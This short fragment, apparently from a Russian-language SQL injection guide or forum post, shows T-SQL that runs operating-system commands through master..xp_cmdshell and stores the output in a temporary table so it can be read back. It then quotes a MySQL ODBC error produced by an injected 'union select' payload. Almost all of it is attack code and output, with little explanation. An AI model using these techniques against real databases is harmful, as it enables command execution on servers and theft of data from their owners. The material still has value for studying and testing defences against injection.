таблицу лучше создавать с полем id, чтобы было удобнее выводить результат:
CREATE TABLE temp (id int IDENTITY, text nvarchar(8000));
INSERT INTO temp exec master..xp_cmdshell dir;
SELECT text FROM temp WHERE id = 1
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[MySQL][ODBC 3.51 Driver][mysqld-4.0.20a-nt]You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'union select 1,2,3,4,5, '2009-11-23 15:04')' at line 1